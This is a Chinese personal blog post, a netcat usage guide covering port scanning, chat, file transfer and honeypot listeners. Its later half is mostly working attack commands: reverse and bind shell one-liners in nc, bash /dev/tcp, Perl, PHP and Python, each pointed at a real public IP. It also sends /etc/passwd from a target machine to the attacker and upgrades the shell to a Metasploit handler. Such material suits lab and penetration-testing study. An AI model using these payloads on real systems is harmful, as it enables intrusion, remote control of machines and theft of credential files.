threst's Blog

netcat食用指南

2018/10/04 Share

阿里云ecs:47.106.230.228
目标机kali:校园网

可以输入nc -h查看帮助:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-h 查看帮助信息
-d 后台模式
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名(不使用DNS反向查询IP地址的域名)
-o film记录16进制的传输
-p[空格]端口 本地端口号
-s addr 本地源地址
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w 数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)

PortScan(端口扫描)

基本tcp扫描:
nc -vv 47.106.230.228 6666
例:nc -vv 47.106.230.228 6666扫描47.106.230.228 的tcp 6666端口

设置延时,指定端口扫描:

1
2
nc -vv -w secs ip port-port
例:nc -vv -w 5 192.168.1.1 5000-5002 扫描192.168.1.1的5000-5002端口,网络超时的时间设为5秒。

聊天

客户端(主动)
nc ip port

服务端(坐等连)
nc -lvp port

发文件

主要看<>符号的尖的方向,表示将文件流到其方向

发送端
nc -v -w 20 -p 6666 -l < aaa.txt

-w 20表示发送前后都等待20秒,根据箭头表示将文件发送到nc中

接收端
nc -v -w 2 47.106.230.228 端口 >bbb.txt
由于我们是接受端,所以时间不用太久,箭头方向表示将nc接收来的文件保存起来

总的来看就是这样
aaa.txt --> nc --> bbb.txt

目标机上下载文件

攻击机nc -l -p 6666 > kali.txt
目标机nc 47.106.230.228 6666 < /etc/passwd
这样就将本地kali的文件发给攻击者了

上传文件至目标机

攻击机nc -l -p 6666 < /etc/passwd
目标机nc 47.106.230.228 6666 > ecs.txt
将攻击机中passwd下载至本地ecs.txt,关于<>的用法和上面介绍的一样

加密传输的数据

服务端:$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
客户端:$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

命令记录

nc -vv victim_ip port < path\file.cmd

搭建蜜罐

  • nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
  • nc -L -p 80 > c:\log.txt作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    *nc -L -p 80 < c:\honeyport.txt作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
  • type.exe c:\honeyport | nc -L -p 80作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用

作为蜜罐使用1:

命令:nc -L -p Port

注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止

作为蜜罐使用2:

命令:nc -L -p Port >log.txt

注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止,同时把结果输出到log.txt文件中,如果把“>”改为“>>”即追加到文件之后。

这一个命令参数“-L”在Windows中有,现在的Linux中是没有这个选项的,但是自己可以去找找,这里只是想到了之前的这个使用,所以提出来简单介绍一下!

shell

正向shell(没有公网ip的主机发起对目标主机的远程连接)

公网服务器:47.106.230.228
校园网kali

服务器
nc -lvp 6666 -t -e /bin/bash

目标主机(可以执行命令)
nc 47.106.230.228 6666

反向shell

Netcat-reverse-shell.jpg

–e选项发送回一个BashShell的攻击。请注意,我们还可以使用cmd.exe的–e选项的窗口

netcat监听者nc -lvp 6666
目标主机nc 47.106.230.228 6666 -e /bin/bash
对于Windows:
nc 47.106.230.228 6666 -e cmd.exe

目标主机中没有nc

上面的情况是目标主机中有nc,如果没有怎么办呢?
攻击照常监听nc -lvp 6666
目标主机bash -i>& /dev/tcp/47.106.230.228/6666 0>&1

Netcat-basics-Reverse-shell-bash-6.jpg

注意空格

使用Perl

攻击照常监听nc -lvp 6666

目标主机

1
perl -e 'use Socket;$i="47.106.230.228";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP shell

攻击照常监听nc -lvp 6666

目标主机

1
php -r '$sock=fsockopen("47.106.230.228",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

Python shell

攻击照常监听nc -lvp 6666

目标主机

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.106.230.228",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

流量转发

从nc升级到msf

简单

攻击机

1
2
3
4
use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set lhost 47.106.230.228(ecs本机ip)
set lport 6666

目标主机
nc 47.106.230.228 6666 -e /bin/bash

成功获取回话

资料:

https://www.anquanke.com/post/id/87017

CATALOG
  1. 1. PortScan(端口扫描)
  2. 2. 聊天
  3. 3. 发文件
    1. 3.0.1. 目标机上下载文件
    2. 3.0.2. 上传文件至目标机
    3. 3.0.3. 加密传输的数据
    4. 3.0.4. 命令记录
    5. 3.0.5. 搭建蜜罐
  • 4. shell
    1. 4.1. 正向shell(没有公网ip的主机发起对目标主机的远程连接)
    2. 4.2. 反向shell
      1. 4.2.1. 目标主机中没有nc
        1. 4.2.1.1. 使用Perl
        2. 4.2.1.2. PHP shell
        3. 4.2.1.3. Python shell
  • 5. 从nc升级到msf
    1. 5.1. 简单
  • 6. 资料: